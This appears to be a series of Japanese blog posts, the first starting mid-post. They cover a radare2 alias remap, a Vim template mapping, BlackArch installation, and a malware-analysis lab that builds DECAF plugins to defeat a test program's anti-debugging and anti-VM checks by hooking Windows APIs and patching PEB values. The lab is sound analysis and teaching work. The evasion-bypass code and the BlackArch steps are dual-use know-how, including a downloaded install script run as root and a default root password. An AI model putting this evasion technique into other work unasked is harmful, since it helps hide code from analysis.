そこで,エイリアス機能の識別子である$を現在コマンドがマッピングされていないnに変更することにした.

準備

 Githubからソースコードをダウンロードする.この記事には関係はないが,Ubuntuaptなどでインストールされるradare2はバージョンが古いので,Githubからのインストールをおすすめしたい.
$ git clone https://github.com/radare/radare2 && cd radare2

編集

 次に,libr/core/cmd.cを以下のように編集する.やってることは,$nに置き換えているだけ.現在マッピングされているコマンドとかぶらなければ良いので,nでなくとも問題はない.他に現在コマンドがマッピングされていない文字はh j vがある(大文字であればもっと存在するが,Shiftを押したくないので今回は考えない).行番号はバージョンによって異なるので,適宜修正すること.

// libr/core/cmd.c
 128 static int cmd_alias(void *data, const char *input) {
 129   int i;
 130   char *def, *q, *desc, *buf;
 131   RCore *core = (RCore *)data;
       // help_msgの'$'を'n'に置き換える
 132   if (*input=='?') {
 133     const char* help_msg[] = {
 134       "Usage:", "nalias[=cmd] [args...]", "Alias commands",
 135       "n", "", "list all defined aliases",
 136       "n*", "", "same as above, but using r2 commands",
 137       "n", "dis='af;pdf'", "create command - analyze to show function",
 138       "n", "test=#!pipe node /tmp/test.js", "create command - rlangpipe script",
 139       "n", "dis=", "undefine alias",
 140       "n", "dis", "execute the previously defined alias",
 141       "n", "dis?", "show commands aliased by 'analyze'",
 142       NULL};
 143       r_core_cmd_help (core, help_msg);
 144     return 0;
 145   }
 ...
       // コマンド解析時の識別文字を変更.ここが要
 149   *buf = 'n';
 ...
       // 何も押さないでEnterした時に前回のコマンドが実行される機能を'n'で動くようにする.
2354 R_API void r_core_cmd_repeat(RCore *core, int next) {
2355   // Fix for backtickbug px`~`
2356   if (core->cmd_depth + 1 < R_CORE_CMD_DEPTH)
2357     return;
2358   if (core->lastcmd)
2359   switch (*core->lastcmd) {
2360   case 'd': // debug
2361     r_core_cmd0 (core, core->lastcmd);
2362     switch (core->lastcmd[1]) {
2363     case 's':
2364     case 'c':
2365       r_core_cmd0 (core, "sr PC;pd 1");
2366     }
2367     break;
2368   case 'p': // print
2369   case 'x':
       // ここを変更.これを忘れると,入力なしの時に前回のコマンドを実行する機能が動かない
2370   case 'n':
2371     if (next) {
2372       r_core_seek (core, core->offset + core->blocksize, 1);

インストール

セーブしたら,
$ sys/install.sh
でインストールできる.
ローカルにインストールしたいときは
$ sys/user.sh
削除は
$ make uninstall && make purge
で行うことができる.

確認

無事インストールが終わったら,反映されているかを確認する.

$ r2 /bin/ls
[0x00404840]> n?
|Usage: nalias[=cmd] [args...]Alias commands
| n                               list all defined aliases
| n*                              same as above, but using r2 commands
| ndis='af;pdf'                   create command - analyze to show function
| ntest=#!pipe node /tmp/test.js  create command - rlangpipe script
| ndis=                           undefine alias
| ndis                            execute the previously defined alias
| ndis?                           show commands aliased by 'analyze'
[0x00404840]> ndis='af;pdf'
[0x00404840]> n*
ndis=af;pdf
[0x00404840]> ndis
/ (fcn) entry0 42
|           0x00404840      31ed           xor ebp, ebp
|           0x00404842      4989d1         mov r9, rdx
|           0x00404845      5e             pop rsi
|           0x00404846      4889e2         mov rdx, rsp
|           0x00404849      4883e4f0       and rsp, 0xfffffffffffffff0
...(snip)...

これでエイリアス機能の識別文字がnになっていることが確認できた. しかし,エイリアスの定義では引数を渡す文字の@を使うことができない.
[0x00404840]> ndis='pd 10@eip
とすると,

[0x00404840]> n*
ndis='pd 10

と途切れてしまう.これはひと手間かけることで解決できる.

[0x00404840]> (test,"",pd 10@eip)
[0x00404840]> ntest=.(test)`  

マクロを定義して,そのマクロのエイリアスを設定している.これで,@問題は解決できる.

デバッグエイリアス

最後に,デバッグでよく使いそうなマクロ・エイリアスを紹介する.一部はradare2bookに載っているものを活用した.これを$HOME/.radare2rcに書いておくと起動時に毎回読み込んでくれる.

// .radare2rc for 32bit
(peda32,"",drr,pd 10@eip,pxr 40@esp)
(stepOut32,"",dso,drr,pd 10@eip,pxw 64@esp)
(stepIn32,"",ds,drr,pd 10@eip,pxw 64@esp)
(outputStack32,"",pxw 64@esp)
nn=.(stepIn32)                              ; GDBでの'si'
ni=.(stepOut32)                             ; GDBでの'ni'
nw=.(outputStack32)                         ; GDBでの'x/20xw $esp'
np=.(peda32)                                ; pedaによる出力に似た何か
ns='do;db main;dc;db- main;np'              ; GDBでの`start'.デバッグ情報が消されている場合は動作しない
nr='do;dc;np'                               ; GDBでの'run'
nc='dc;np'                                  ; GDBでの'continue'
// .radare2rc for 64bit <- この行は書かない
(peda64,"",drr,pd 10@rip,pxr 40@rsp)
(stepOut64,"",dso,drr,pd 10@rip,pxq 64@rsp)
(stepIn64,"",ds,drr,pd 10@rip,pxq 64@rsp)
(outputStack64,"",pxq 64@rsp)

nn=.(stepIn64)
ni=.(stepOut64)
nq=.(outputStack64)
np=.(peda64)
ns='do;db main;dc;db- main;np'
nr='do;dc;np'
nc='dc;np'

コマンド名は最初がnであることが条件.それ以降は自由に変えてよい.

まとめ

とりあえず,これでエイリアス機能が指をあまり動かさずに呼び出せるようになったので楽になった.しばらくはこの設定で使ってみようと思う.
書き換える箇所があれだけで済んだこととソースが読みやすかったことには感動した.機能をひとつのファイル内で完結させる部分とかは今後プログラムを書く上で意識していきたい.
しかし,もっと良い方法がデフォルトでなにかあるんじゃないかなと思いもする.Bookを読んでなにか気づいたらまた書きたい.

参考文献

Radare2Book: https://www.gitbook.com/book/radare/radare2book/details

Vimで簡単なファイルテンプレートを入力するコマンドを作成してみた

プログラムを組むとき,テンプレートを毎回手で入力することが面倒くさくなったので,Vimのショートカットにした.
編集中のファイル名を挿入する方法やレジスタについて勉強したので簡単にまとめておく.

目的

作成したいのは現在編集しているファイルに対して,自分が使っているテンプレートを書き込むだけの簡単なコマンドを実装する.本エントリではC言語向けのものを説明する.
具体的な動作は,編集中のファイルの最初と最後にそれぞれコメントを書き込むだけ.最初のコメント部にはファイル名を自動で書き込む.

Ex: filename.cを編集中の場合
/* filename.c */
<... code ...>
/* E.O.F. */

E.O.F.って手で打つと面倒くさい.

コマンド

最終的には以下を.vimrcに付け加えた.
nmap <silent> ,/ Go/* E.O.F. */<Esc>ggO/* <C-r>% */<CR>
ノーマルモードで,/と打つと実行.特に難しいものでもないから,肝となる部分だけ以下で説明する.

ファイル名の挿入

インサートモードで<C-r>+レジスタとすると,レジスタの内容を挿入することができる.今回はカレントファイル名を格納している%レジスタを使用した.

レジスタ

種類が多いから,少しだけ紹介.
 * 番号付きレジスタ: "0-9レジスタ0はコピー内容,それ以降は1から最新の削除内容が入る.
 * 名前付きレジスタ: "[a-Z]レジスタで明示的に指定することで任意に使える.
 * 消去専用レジスタ: "_レジスタ_ddとするとレジスタ内容に変化を起こさずに削除を行える.
レジスタ"<レジスタ名><コマンド>で使える.具体的にはV"ay"aレジスタに一行を保存し,"apでその内容を書き込める.
レジスタに何が入っているのかの確認は:regで行える.

まとめ

多分プラグインを探せばもっと高機能なものがあるのだろうが,そこまでの機能は求めていないからと軽い気持ちで実装したら思った以上に手間取った.レジスタについてはもっと使いこなせるようになりたい,特に_ddは多用しそうだ.

参考文献

インサートモード時に現在のファイルのフルパスを挿入するmap - YKMbPP
vimのレジスタ - Qiita

BlackArchの紹介

Gentooにはセキュリティ用にチューニングされたPentooがある.Arch Linuxにもあるんじゃないのかなと思って探したら案の定あった.
という訳で,今回はArch Linuxのセキュリティ特化ディストリBlackArchを紹介する.

BlackArchとは

ペンテスターやセキュリティ研究者向けのLinuxディストリの一つ.Arch Linuxを基盤としてしているため,使い方自体はArchと同じ.
レポジトリは非公式のものを使用している模様.
そして,現在(2016/1/5)レポジトリには1337のツールがある.ツッコミ待ちなのかと疑いたくなる数字だ・・・.

インストール

インストール方法は以下の2つがある.
* ISOからインストール
* Arch LinuxにBlackArchのレポジトリを追加する

ISOからインストール

まずは公式サイトからISOイメージを落としてくる. Download BlackArch の下の方にある日本のミラーを使うと比較的早く落とせる.
あとはVBoxなりVMwareなどで仮想マシンを作成.
もしくは
$ sudo dd bs=512M if=file.iso of=/dev/sdx
file.isoにはダウンロードしたISO,/dev/sdxにはお好みのフラッシュドライブを選択する.
USBとかを指定すると良い.USBの場合はBIOSの設定をいじってUSBからブートできるようにする.
起動できたら
User: root
Pass: blackarch
でログイン.

新しいディスクにインストールしたいときはLive CDを起動して

$ sudo pacman -S blackarch-install-scripts 
$ sudo blackarch-install 

Arch LinuxにBlackArchのレポジトリを追加する

既にインストールが終わっているArchにレポジトリを追加し,必要なだけBlackにする.

$ cd $HOME/Downloads
# スクリプトを落として確認. "86eb4efb68918dbfdd1e22862a48fda20a8145ff"と出たらOK
$ curl -O http://blackarch.org/strap.sh && sha1sum strap.sh 
$ chmod 755 ./strap.sh
# /etc/pacman.confを書き換える
$ sudo ./strap.sh
[+] installing blackarch keyring...
(snip)
[+] BlackArch Linux is ready!

/etc/pacman.confを見てみると,最後に追加されている.

[blackarch]
Server = http://www.mirrorservice.org/sites/blackarch.org/blackarch//$repo/os/$arch

以上でレポジトリの追加は終わり.これで普通にpacman -Ss <tool_name>とすると,blackmanのレポジトリからも検索されるようになる.
あとは好きなツールをインストールする.

# ツールの全リストを表示
$ pacman -Sgg | grep blackarch | cut -d' ' -f2 | sort -u 

# カテゴリを見る 
$ pacman -Sg | grep blackarch

# 指定したカテゴリのツールを全部インストール
$ sudo pacman -S blackarch-<category> 

# ツールを一個だけ入れる
$ sudo pacman -S <tool-name>

# 全ツールのインストール
$ pacman -S blackarch 

パッケージからビルドしたい人はblackmanよりインストールしていく.
時間に余裕がある人はこちらがおすすめ.

# blackmanのインストール.blackarchのレポジトリが追加されていないと見つからない.
$ sudo pacman -S blackman 

# カテゴリの表示 
$ blackman -l 

# カテゴリ内のツールを表示
$ blackman -p <category>

# ツール単体のインストール
$ sudo blackman -i <package> 

# カテゴリ単位のインストール 
$ sudo blackman -g <group> 

# 全部インストール 
$ sudo blackman -a 

カテゴリを見てみると早速ドローン関係のツール(blackarch-drone)があったりして気になる.
私の場合,端末の背景を黒にしているので,$ blackman -p blackarch-windowsとかしたときにツールの説明が表示色の関係で読みにくかった.
そこで/usr/bin/blackmanを以下のように編集した.

75行目: tput boldの追加
[-] GREEN="$(tput setaf 2)"
[+] GREEN="$(tput bold ; setaf 2)"

86行目: WHITE -> GREEN
[-] printf "%s${fmt}%s\n" "${WHITE}" "$@" "${NC}"
[+] printf "%s${fmt}%s\n" "${GREEN}" "$@" "${NC}"

94行目: GREY -> NC
[-] printf "%s${fmt}%s\n" "${GREY}" "$@" "${NC}"
[+] printf "%s${fmt}%s\n" "${NC}" "$@" "${NC}"

各自好きな色に変更するといいと思う.

感想

Kali Linuxを使ってても思うが,セキュリティ特化のディストリは知識のない身では様々なツールが入っていても,使いこなせない上にディスク容量食うわデーモンが動いていて通常動作や再起動が重くなるわで普段使いには向かない気がする.
Arch Linuxの良さはその軽さのはずだが,BlackArch全部入りしてしまうと重くなりがちである.
このような考えから,私は普通のArch Linuxを使って必要なツールのみをblackmanで適宜インストールするほうが好ましいと思う.
ちょっとマニアックなソフトウェアが簡単に見つかるから,地味に便利.
カテゴリごと入れてしまえるのは楽そうに見えはするが実際のところはどうなんだろうか.確かめていきたい.
あとguideのPDFはComming soon...を埋めて欲しい.

参考

BlackArch Linux - Penetration Testing Distribution

ペネトレーションテストにKail LinuxではなくBlackArch Linuxを使う - Qiita

セキュリティキャンプ講義「仮想化技術を用いたマルウェア解析」にチャレンジしてみた(プラグイン開発編)

前回のエントリでDECAFをコンパイル仮想マシンの用意・起動とプラグインを読み込ませるところまでやった。
今回は講義の本題であるプラグインの開発をやっていく。
私自身はQemu, DECAFや関数Hook,PEB構造体とかも全く知らず,マルウェア解析の経験もない状態で始めてみたが,何とかなったので興味があるならチャレンジしてみれば楽しいと思う.
最終的なプラグインpoppycompass/red · GitHubに置いてある.適宜参照してほしい.

プラグイン基礎

プラグインの基本をIsDebuggerPresentをHookするプラグインgeteipを使って説明する.
Hookとは,プログラムの特定の箇所にユーザが定義した処理を追加することらしい.
今回で言うと,IsDebuggerPresentが実行される前と後に任意の処理を追加する関数Hookのことを指す.
前回のエントリのコマンドを一通り試した人は<your_path>/DECAF/decaf/plugins/geteip以下にあるはずである.
まだ持っていない人は
$ git clone https://github.com/ntddk/geteip
でダウンロードすること.
このプラグインの主なファイルはplugin_cmds.hgeteip.cである.
これからそれぞれの内容を見ていきたい.
なお,解説は現在の私の理解であるため,誤り等が含まれることがある.見つけたら遠慮なく指摘していただけるとありがたい.

plugin_cmds.h

プラグインに実装した機能はqemuのコマンドとして実行する.
このコマンド名はmon_cmd_tで設定する.具体的な設定は以下の通り.

{
    .name           = "geteip",                            // コマンド名
    .args_type      = "procname:s?",                       // 引数タイプ.今回は特定のプロセス名を引数に取る
    .mhandler.cmd   = do_monitor_proc,                     // コマンド実行時に実行する関数名
    .params         = "[procname]",                        // ???用途不明???
    .help           = "tracking EIP of [procname] as block"// コメント
},

このプラグインではplugin_cmds.hで構造体を定義し,geteip.cにて

static mon_cmd_t geteip_term_cmds[] = 
{
#include "plugin_cmds.h"
    {NULL, NULL, },
};

とインクルードしている.当然のことながらgeteip.cの方に埋め込むこともできる. コマンド名は自由に変えることができるが,変更したら*.cの名前やソースの関数名も合わせて変更しないと混乱する.

geteip.c

全部説明すると長いので,Hook関連の場所だけを抜粋して説明する.

// Hook用のハンドル
static DECAF_Handle isdebuggerpresent_handle = DECAF_NULL_HANDLE;  

typedef struct {
    uint32_t call_stack[1]; //paramters and return address, 今回は引数がないのでreturn adddressが入る.
    DECAF_Handle hook_handle;
} IsDebuggerPresent_hook_context_t;  // 関数Hookには関数ごとにこの構造体を用意する.

/*
 * BOOL IsDebuggerPresent(VOID);
 */

// IsDebuggerPresent終了時に呼び出される
static void IsDebuggerPresent_ret(void *param)  
{
    IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t *)param;
    hookapi_remove_hook(ctx->hook_handle);
    DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
    free(ctx);
}

// IsDebuggerPresent開始時に呼び出される
static void IsDebuggerPresent_call(void *opaque)  
{
    DECAF_printf("IsDebuggerPresent ");
    IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t*)malloc(sizeof(IsDebuggerPresent_hook_context_t));
    if(!ctx) return;
    DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack);
    ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], IsDebuggerPresent_ret, ctx, sizeof(*ctx));
}

// 監視対象プロセス作成時に呼び出される
static void geteip_loadmainmodule_callback(VMI_Callback_Params* params)
{
    if(strcmp(params->cp.name,targetname) == 0)
    {
        DECAF_printf("Process %s you spcecified starts \n", params->cp.name);
        target_cr3 = params->cp.cr3;
        // Hookしたい関数を登録
        isdebuggerpresent_handle = hookapi_hook_function_byname("kernel32.dll", "IsDebuggerPresent", 1, target_cr3, IsDebuggerPresent_call, NULL, 0);  
        blockbegin_handle = DECAF_register_callback(DECAF_BLOCK_BEGIN_CB, &geteip_block_begin_callback, NULL);
    }
}

プラグインをロードするとinit_pluginが呼び出される.geteip_initではVMI_register_callback関数で監視対象プロセス作成時にgeteip_loadmainmodule_callbackを呼び出すよう登録している.

実行

作成したプラグインコンパイルしてから起動した仮想マシンにロードする.

コンパイル

$ pwd
/home/<user>/DECAF/decaf/plugins/geteip
$ ./configure --decaf-path=/home/<user>/DECAF/decaf
$ make

geteip.soが作成されていれば成功.

ロード

(qemu)のプロンプトが出ている状態で

(qemu) load_plugin /home/<user>/DECAF/decaf/plugins/geteip/geteip.so
(qemu) geteip blue.exe

のように使う.今回であればロード時にHello, World!のメッセージがでるはず.

注意点

Anti-Qemu trick回避

IsDebuggerPresent Hook

IsDebuggerPresentデバッグ
* されている : 0以外
* されていない: 0
を返す関数.
今回だと,デバッグしていることを隠したいからIsDebuggerPresent終了時に戻り値を0に書き換えてやるとblue.exeデバッグされていないと勘違いさせることができる.
geteipプラグインは関数Hookまで書いてあるから,戻り値を書き換えるだけで良い.
関数終了時の処理を少しだけいじる.戻り値はqemuEAXに入っている.

// IsDebuggerPresent終了時に呼び出される
static void IsDebuggerPresent_ret(void *param)  
{
    IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t *)param;
    hookapi_remove_hook(ctx->hook_handle);
    cpu_single_env->regs[R_EAX] = 0; // 追加
    DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
    free(ctx);
}

これでIsDebuggerPresentの戻り値は常に0となる. ここからようやく課題スタート.

課題プログラム

一つ一つのLevelが回避できることを確認していきたい人は,これからは下に書いたコードをgeteip.cに書き加えていけば各Levelを回避していけるはず.
未検証なので,回避できた・ここが足りなかったなどを教えてもらえると嬉しい.
前回のエントリのコマンドを一通りやっていれば/home/<user>DECAF/VMsblueというディレクトリがあるはず.
やっていない人は
$ git clone https://github.com/ntddk/blue.git
でダウンロードする.
blue/Release/blue.exeがプログラム本体で,blue/blue/blue.cppソースコード
構造は極めて簡単で,

if (IsDebuggerPresent() == FALSE && Blue() == 0 && Charlie() == 0 && Delta() == 0 && Echo() == 0)
    Flag();

の通り,各関数の戻り値を0になるようにする.一つでも回避できないと即停止.

Level1: Blue

static inline int Blue()
{
    printf("\n[Level 1] Blue ...");
    Sleep(360000);
    DWORD time1 = GetTickCount();
    Sleep(500);
    if ((GetTickCount() - time1) < 450)   Detected();
    else return 0;
}

仕組みはまずSleepで6分潜伏したあと2回GetTickCountを呼び出して,Sleepがちゃんと実行されているかを確認しているような感じ. 毎回6分も待つのは辛いので真面目に回避することにする.
やるべきはSleepの引数を1にして,2回のGetTickCountの戻り値の差を450以上にすること.
これらは以下のコードで実現できる.

// 関数Hook用の構造体を定義
typedef struct {
    uint32_t call_stack[2]; // return address and parameters ([0]: ret addr, [1]: time)
    DECAF_Handle hook_handle;
} Sleep_hook_context_t;

typedef struct {
    uint32_t call_stack[1]; // return address only -> VOID
    DECAF_Handle hook_handle;
} GetTickCount_hook_context_t;
// 構造体定義終わり


/*
 * BOOL Sleep(DWORD dwMilliseconds);
 */
static void Sleep_ret(void *param)
{
    // DECAF_printf("Sleep exit\n");
    Sleep_hook_context_t *ctx = (Sleep_hook_context_t *)param;
    hookapi_remove_hook(ctx->hook_handle);
    free(ctx);
}

static void Sleep_call(void *opaque)
{
    // DECAF_printf("Sleep entry\n");
    Sleep_hook_context_t *ctx = (Sleep_hook_context_t*)malloc(sizeof(Sleep_hook_context_t));
    if(!ctx) return;

    // bypass Sleep
    // Sleepの引数を ctx->call_stackに読み込み(call_stack[0]: ret addr, call_stack[1]: dwMilliseconds)
    DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 2*4, ctx->call_stack);
    // 引数の書き換え.1ミリ秒だけ待機するようにした.
    ctx->call_stack[1] = 1;
    // call_stackをメモリに書き込む.これで変更が反映される.
    DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 2*4, ctx->call_stack);

    ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], Sleep_ret, ctx, sizeof(*ctx));
}
/* Sleep end */

/*
 * DWORD GetTickCount(VOID)
 */

static void GetTickCount_ret(void *param)
{
    // GetTickCountは二回呼び出される.最初の呼び出しの時だけ戻り値を変更したい.
    // 静的変数 flag を使うことで実装した.
    static int flag = 0;
    // DECAF_printf("GetTickCount exit\n");
    GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t *)param;
    hookapi_remove_hook(ctx->hook_handle);

    // 最初の呼び出しでは戻り値は0,二回目は正しい値が返る.
    // 呼び出し間の差が450以上になれば良いので,最初(450), 2回目(900)とかやって遊ぶのも面白い.オーバフローには注意
    if (!flag) {                                // ture is only first call
        cpu_single_env->regs[R_EAX] = 0;    // return 0
        flag = 1
    } else {
        flag = 0;
    }
    // DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
    free(ctx);
}

static void GetTickCount_call(void *opaque)
{
    // DECAF_printf("GetTickCount entry\n");
    GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t*)malloc(sizeof(GetTickCount_hook_context_t));
    if(!ctx) return;
    DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack);
    ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetTickCount_ret, ctx, sizeof(*ctx));
}
/* GetTickCount end */

// 監視対象の関数を登録する.'[+]'の行を付け加えるだけ.
static void red_loadmainmodule_callback(VMI_Callback_Params* params)
{
        [+] sleep_handle = hookapi_hook_function_byname("kernel32.dll", "Sleep", 1, target_cr3, Sleep_call, NULL, 0);
        [+] gettickcount_handle = hookapi_hook_function_byname("kernel32.dll", "GetTickCount", 1, target_cr3, GetTickCount_call, NULL, 0);
}

ctx->callstackには関数呼び出し時は[ret_addr, arg0, arg1, ...]となっていて,関数終了時にはret_addrなどは消える.
編集が終わったら,

$ pwd
/home/<user>/DECAF/decaf/plugins/geteip
$ make

で再度コンパイルする.その後仮想マシンを起動した状態で

(qemu) unload_plugins # 既にプラグインを挿入している場合
(qemu) load_plugin /home/<user>/DECAF/decaf/plugins/geteip/geteip.so
(qemu) geteip blue.exe

ここまでやったあと,Windows上でblue.exeを動かしてみる.
Level2で検知されたらOK.

Level2: Charlie

コードは以下の通り.

static inline int Charlie()
{
    printf("\n[Level 2] Charlie ...");
    SYSTEM_INFO siSysInfo;
    GetSystemInfo(&siSysInfo);
    if (siSysInfo.dwNumberOfProcessors < 2) Detected();
    else return 0;
}

GetSystemInfo関数は引数の_SYSTEM_INFO構造体に各種値を入れる.構造体は9の変数を持っている.

typedef struct _SYSTEM_INFO { // sinf 
   call_stack[0]:    union {
   DWORD  dwOemId; 
   struct { 
   WORD wProcessorArchitecture; 
   WORD wReserved; 
   }; 
   }; 
   call_stack[1]:   DWORD  dwPageSize; 
   call_stack[2]:   LPVOID lpMinimumApplicationAddress; 
   call_stack[3]:   LPVOID lpMaximumApplicationAddress; 
   call_stack[4]:   DWORD  dwActiveProcessorMask; 
   call_stack[5]:   DWORD  dwNumberOfProcessors;        // プロセッサ数
   call_stack[6]:   DWORD  dwProcessorType; 
   call_stack[7]:   DWORD  dwAllocationGranularity; 
   call_stack[8]_low:    WORD  wProcessorLevel; 
   call_stack[8]_high:   WORD  wProcessorRevision; 
   } SYSTEM_INFO;

_SYSTEM_INFO構造体は6番目の要素にdwNumberOfProcessorsというプロセッサ数を格納する変数があり,これが1だと仮想環境と判断し,停止する.
回避方法はシンプルで,こいつを2以上に書き換えてやれば良い.
実装は以下の通り.使う関数などはLevel1と同じ.

static DECAF_Handle getsysteminfo_handle     = DECAF_NULL_HANDLE;

typedef struct {
    uint32_t call_stack[10];  // return address and parameters
    DECAF_Handle hook_handle;
} GetSystemInfo_hook_context_t;

/*
 * VOID GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);
 */

static void GetSystemInfo_ret(void *param)
{
    // DECAF_printf("GetSystemInfo exit\n");
    GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t *)param;
    hookapi_remove_hook(ctx->hook_handle);

    // 構造体を読みだす.
    DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack);
    // 変数の書き換え
    ctx->call_stack[5] = 0x2;  // SYSTEM_INFO.dwNumberOfProcessors is 0x2
    // 反映
    DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack);  // write back to memory
    // DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]);
}

static void GetSystemInfo_call(void *opaque)
{
    // DECAF_printf("GetSystemInfo entry\n");
    GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t*)malloc(sizeof(GetSystemInfo_hook_context_t));
    if(!ctx) return;
    DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack);
    ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetSystemInfo_ret, ctx, sizeof(*ctx));
}

/* GetSystemInfo end */
static void red_loadmainmodule_callback(VMI_Callback_Params* params)
{
   [+] getsysteminfo_handle = hookapi_hook_function_byname("kernel32.dll", "GetSystemInfo", 1, target_cr3, GetSystemInfo_call, NULL, 0);
}

編集が終わったら,コンパイルする.

(qemu) unload_plugins # 既にプラグインを挿入している場合
(qemu) load_plugin /home/<user>/DECAF/decaf/plugins/geteip/geteip.so
(qemu) geteip blue.exe

Level2が回避できたことを確認したらLevel3へ.

Level3: Delta

さて,ここまでは引数や戻り値をいじってやればよかったので,簡単だった.
Level3からはWinodwsについての知識が必要になってくるので複雑になってくる.
問題のコードは以下の通り.

static inline int Delta()
{
    printf("\n[Level 3] Delta ...");
    unsigned long NumberOfProcessors = 0;
    __asm
    {
        mov eax, fs:[0x30]
        mov eax, [eax + 0x64]
        mov NumberOfProcessors, eax
    }
    if (NumberOfProcessors & 0x1) Detected();
    else return 0;
}

やっていることはLevel2と同じくNumberOfProcessorsを確認している.
実はIsDebuggerPresentGetSystemInfoもPEB(Process Environment Block)構造体というものの要素を参照する関数である.
だから問題としては関数がアセンブラになったと考えるとわかりやすいだろうか.
PEB構造体は各プロセスごとに作成される構造体で,ヒープやファイル,ロードしたDLLの内容などが入っている.
PEB構造体はTEB(Thread Environment Block)構造体という,スレッドごとに作成される構造体の先頭から0x30バイト先にその先頭アドレスが入っている. 絵で書くとこんな感じか

           TEB構造体
    |         0x0      |
    |         ...      |
    |         ...      |
    |         ...      |          PEB構造体
    |    0x30(PEB)     | -> |       0x0       |
                            |       ...       |
                            |       ...       |
                            |       0x64      | -> value of NumberOfProcessors

決してプラグインに上のアセンブラを混ぜ返してやればいいなんて考えないように.エミュレータ上のレジスタプラグインに書いたレジスタは別物だと思う.やる人はあまりいないと思うが,やって時間を浪費したアホがここにいるので一応書いておく.
このトリックの対処としてはPEB構造体の値そのものを書き換えてやればよい.実装は以下の通り.

// bypass level3, 引数はデバッグ用
static void level3(int line_num)
{
    uint32_t NumberOfProcessors = 0;
    uint32_t base = 0, peb_addr = 0, peb = 0;
    // TEB構造体のアドレスを取得.FSレジスタに格納されている
    base = cpu_single_env->segs[R_FS].base;
    // PEB構造体の入っているアドレスを計算
    peb_addr = base + 0x30;
    // PEB構造体のアドレスを読み込む
    DECAF_read_mem(NULL, peb_addr, 4, &peb);
    // NumberOfProcessorsを読み込む
    DECAF_read_mem(NULL, peb+0x64, 4, &NumberOfProcessors);
    //DECAF_printf("FS(TEB): 0x%08x, peb_addr: 0x%08x, peb: 0x%08x\n", base, peb_addr, peb);

    // 変数を変更して反映
    NumberOfProcessors = 0x2;
    DECAF_write_mem(NULL, peb+0x64, 4, &NumberOfProcessors);  // write back to memory
}
// level3 end
static void red_loadmainmodule_callback(VMI_Callback_Params* params)
{
   [+] level3(__LINE__);   // replace NumberOfProcessors
}

コンパイルして回避できたことを確認したら終了.
PEBやらTEB構造体を初めて知ったが,奥が深い.
PEB構造体は探せば中身が出てくるが,実際はUndocumentedらしい.

Level4: Echo

最後の課題.
多分今できているプラグインを読み込ませて何回かblue.exeを実行するとLevel4が回避できる時と回避できない時があるはず.もしちゃんと検知してくれない時は何回か実行すると良い.
問題のコードは以下の通り.

static inline int Echo()
{
    printf("\n[Level 4] Echo ...");
    __try{__asm{cmpxchg8b fs:[0x1000]}}
    __except (1){Detected();}
    return 0;
}

cmpxchg8b fs:[0x1000]

   if ([EDX:EAX] == fs:[0x1000]) fs:[0x1000] = [ECX:EBX];
   else [EDX:EAX] = fs:[0x1000];
// [EDX:EAX]はEDXが上位32ビットでEAXが下位32ビットとする64ビット値

といった動作をする.この命令自体F00Fバグと呼ばれるバグの原因となった厄介な機械語らしい.
これがどうしてQemu検知できるかというと,read-onlyのページに書き込みした場合,本物のCPUならばPage Faultが起こる.Qemuの場合はPage Faultが起こらないらしい.どうやらQemuの実装上の欠陥をついた方法のようだ.ソースは https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf
正直未だにこの検知の仕組みがよくわかっていない.整理できていない思考を書いておく.面倒な人は読み飛ばし推奨.真面目に読んだ人は意見が欲しい.

よくわからん!

  • ソースの文章によると,メモリに書き込んでみて,Page Faultが起きなければ良いということなのだろう.しかし,Qemuだと例外が起こらないのだから,try文で検知できるのだろうか・・・?
  • [EDX:EAX]は特に書き換えられていない.つまり[EDX:EAX]fs:[0x1000]と関係がないから,[EDX:EAX] = fs:[0x1000]の代入が起こるはず.これだとメモリがread-onlyだとかは関係がないんじゃなかろうか.
  • 加えて,このLevelは検知される時と検知されない時の原因はPEB構造体がfs:[0x1000]に配置されるか否かであることがわかった.
    条件としては
     配置される : 検知されない
     配置されない: 検知される
    Olly DebugのQ&Aを見てみると,WindowsXPのSP1以前はfs:[0x1000]にPEB構造体が配置されることが約束されていたようだ.これがなにか関係があるのかとも思ったが,Qemu検知とは全く関係がない・・・はず.

Level4復帰

散々混乱した末に以下の結論に至った.
よくわからんが,PEB構造体は書き込み可である.fs:[0x1000]にPEB構造体が配置されていない時はread-onlyなのだろう(未検証・予想・適当).
だから,fs:[0x1000]に格納されているアドレスを書き込み可能なアドレスにしてしまえばいいと考えた.
Windowsのプログラムで書き込み可能フラグが立っているアドレスの調べ方がわからなかったので,手っ取り早くスタックの先頭アドレス(ESP)に書き換えることにした.これでうまく行ってしまったので,これが答えの一つなのだろう.他にもっと冴えたやり方あるのかな.
cmpxchg8bが実行される時だけを検知して処理を行わないとプログラムがクラッシュする可能性がある.また,実行後はちゃんと元の値に戻さなければならない.
このあたりの検知は機械語を一つ実行するごとにHookしてcmpxchg8bかどうかを判定した.これにはDECAF_INSN_BEGIN_CBを使うことで実装することができる.
